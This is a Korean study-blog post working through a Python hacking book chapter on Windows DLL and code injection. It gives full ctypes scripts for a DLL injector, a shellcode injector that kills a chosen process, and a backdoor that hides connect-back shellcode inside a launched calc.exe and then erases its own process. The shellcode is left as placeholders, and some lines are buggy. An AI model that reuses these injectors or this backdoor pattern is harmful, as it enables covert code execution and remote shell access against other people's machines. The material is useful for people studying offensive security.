[4주] 07장 DLL과 코드 인젝션

Posted by dw0rdptr
2015. 2. 16. 13:42 Study/파이썬 해킹 프로그래밍

DLL 인젝션과 코드 인젝션에는 몇 가지 차이가 있지만 두 가지 방법 모두 원격스레드 생성이라는 동일한 방법으로  수행된다.

원격스레드를 생성하는 데 사용되는 Win32 API는 CreateRemoteThread()이다.

프로토타입

HANDLE WINAPI CreateRemoteThread(
    HANDLE  hProcess,
    LPSECURITY_ATTRIBUTES  lpThreadAttributes,
    SIZE_T  dwStackSize,
    LPTHREAD_START_ROUTINE  lpStartAddress,
    LPVOID  lpParameter,
    DWORD  dwCreationFlags,
    LPDWORD  lpThreadId
);



DLL 인젝션 기술은 선악에 구분없이 오래동안 광범위하게 사용되어왔다.

DLL인젝션의 장점은 컴파일된 바이너리를 프로세스 내에 로드하고 그것을 해당 프로세스의 일부분으로 실행시킬 수 있다는 것이다. 

프로세스가 DLL을 메모리에 로드하게 만들어보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#dll_injector.py
#-*- coding: utf-8 -*-
import sys
 
from ctypes import *
 
PAGE_READWRITE        = 0x04
PROCESS_ALL_ACCESS    = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM            = (0x1000 | 0x2000)
 
kernel32    = windll.kernel32
pid         = sys.argv[1]
dll_path    = sys.argv[2]
dll_len     = len(dll_path)
 
 
#DLL을 인젝션할 프로세스의 핸들을 구한다
h_process   = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
 
if not h_process:
    print "[*] Couldn't Acquired a Handle to PID : %s" % pid
    sys.exit(0)
 
 
# DLL의 경로를 저장하기 위한 공간 할당
 
arg_address = kernel32.VirtualAllocEx(h_process,
                                      0,
                                      dll_len,
                                      VIRTUAL_MEM,
                                      PAGE_READWRITE)
 
#할당한 공간에 DLL의 경로를 써넣음
written = c_int(0)
kernel32.WriteProcessMemory(h_process,
                            arg_address,
                            dll_path,
                            dll_len,
                            byref(written))
 
#LoadLibraryA의 주소를 구함
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib  = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
 
#원격스레드를 생성하고 DLL의 경로를 파라미터로 전달해 LoadLibraryA가 실행
thread_id = c_ulong(0)
 
if not kernel32.CreateRemoteThread(h_process,
                                    None,
                                    0,
                                    h_loadlib,
                                    arg_address,
                                    0,
                                    byref(thread_id)):
    print "[*] Failed To Inject the DLL. Exiting."
    sys.exit(0)
 
print "[*] Remote Thread With ID 0x%08x created" % thread_id.value
cs

코드 인젝션은 실행중인 프로세스에 셸코드를 삽입해 메모리상에서 실행되게 만들 수 있다. 또한 공격자가 다른 프로세스로 셸 커넥션을 바꾸는 것이 가능하다. 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#code_injector.py
#-*- coding: utf-8 -*-
import sys
from ctypes import *
 
#셸코드가 할당한 메모리 블록에서 실행될 수 있게 메모리 블록의 권한을 설정
PAGE_EXECUTE_READWRITE    = 0x00000040
PROCESS_ALL_ACCESS        = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM                = (0x1000 | 0x2000)
 
kernel32    = windll.kernel32
pid           = int(sys.argv[1])
pid_to_kill  = sys.argv[2]
 
if not sys.argv[1or not sys.argv[2]:
    print "Code Injector: ./code_injector.py [pid to="" inject=""] [pid to="" kill=""]"
    sys.exit(0)
 
shellcode = #셸코드가 들어갈 자리
 
padding            = 4 - (len(pid_to_kill))
replace_value    = pid_to_kill + ("\x00" * padding)
replace_string    = "\x41" * 4
 
shellcode    = shellcode.replace(replace_string, replace_value)
code_size    = len(shellcode)
 
#인젝션을 수행할 프로세스의 핸들을 구한다.
h_process    = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
 
if not h_process:
    print "[*] Couldn't acquire a handle to PID : %s" % pid
    sys.exit(0)
 
#셸코드를 위한 공간을 할당
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM,
                                                        PAGE_EXECUTE_READWRITE)
 
#셸코드를 써넣는다.
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode,
                                             code_size, byref(written))
 
#원격스레드를 생성하고 그것이 실행시킬 코드의 시작 주소를 셸코드의 시작 부분으로 설정.
thread_id = c_ulong(0)
    if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 0,
                                                         byref(thread_id)):
    print "[*] Failed To Inject process-killing shellcode."
    sys.exit(0)
 
print "[*] Remote thread created with a thread ID of : 0x%08x" % thread_id.value
print "[*] Process %s shellcode should not ne running anymore!" % pid_to_kill
cs

이번에는 인젝션 기술을 시스템의 권한을 획득하는 데 활용될 수 있는 백도어 제작에 사용해 보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#backdoor.py
#-*- coding: utf-8 -*-
#my_debugger_defines.py파일 필요
 
import sys
from ctypes import *
from my_debugger_defines import *
 
kernel32                = windll.kernel32
 
PAGE_EXECUTE_READWRITE    = 0x00000040
PROCESS_ALL_ACCESS        = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM                = (0x1000 | 0x2000)
 
#원래의 실행 바이너리
path_to_exe                = "C:\\calc.exe"
 
startupinfo                     = STARTUPINFO()
process_information        = PROCESS_INFORMATION
creation_flags                = CREATE_NEW_CONSOLE
startupinfo.dwFlags        = 0x01
startupinfo.wShowWindow    = 0x00
startupinfo.cb                      = sizeof(startupinfo)
 
#원래의 실행 바이너리 프로세스를 생성하고 PID저장
kernel32.CreateProcessA(path_to_exe,
                                     None,
                                     None,
                                     None,
                                     None,
                                     creation_flags,
                                     None,
                                     None,
                                     byref(startupinfo),
                                     byref(process_information))
 
pid = process_information.dwProcessId
 
def inject(pid, data, parameter = 0):
    #인젝션을 수행할 프로세스의 핸들을 구한다
    h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
 
    if not h_process:
        print "[*] Couldn't acquire a handler to PID : %s" % pid
        sys.exit(0)
 
    arg_address = kernel32.VirtualAllocEx(h_process,
                                          0,
                                          len(data),
                                          VIRTUAL_MEM,
                                          PAGE_EXECUTE_READWRITE)
    written = c_int(0)
 
    kernel32.WriteProcessMemory(h_process,
                                arg_address,
                                data,
                                len(data),
                                byref(written))
 
    thread_id = c_ulong(0)
 
    if not parameter:
        start_address = arg_address
    else:
        h_kernel32         = kernel32.GetModuleHandlerA("kernel32.dll")
        start_address     = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
        parameter        = arg_address
 
    if not kernel32.CreateRemoteThread(h_process,
                                       None,
                                       0,
                                       start_address,
                                       parameter,
                                       0,
                                       byref(thread_id)):
        print "[*] Failed to inject the DLL"
        sys.exit(0)
  
    return True
 
#이제 백도어 프로세스 자체를 종료시키기 위해 다른프로세스에 코드인젝션 수행
connect_back_shellcode = #shellcode
 
inject( pid, connect_back_shellcode)
 
our_pid = str(kernel32.GetCurrentProcessId())
 
process_killer_shellcode = #shellcode
 
padding = 4 -(len(our_pid))
replace_value = our_pid + ("\x00" * padding)
replace_string = "\x41" * 4
process_killer_shellcode= 
process_killer_shellcode.replace(replace_string, replace_value)
 
inject(our_pid, process_killer_shellcode)
 
cs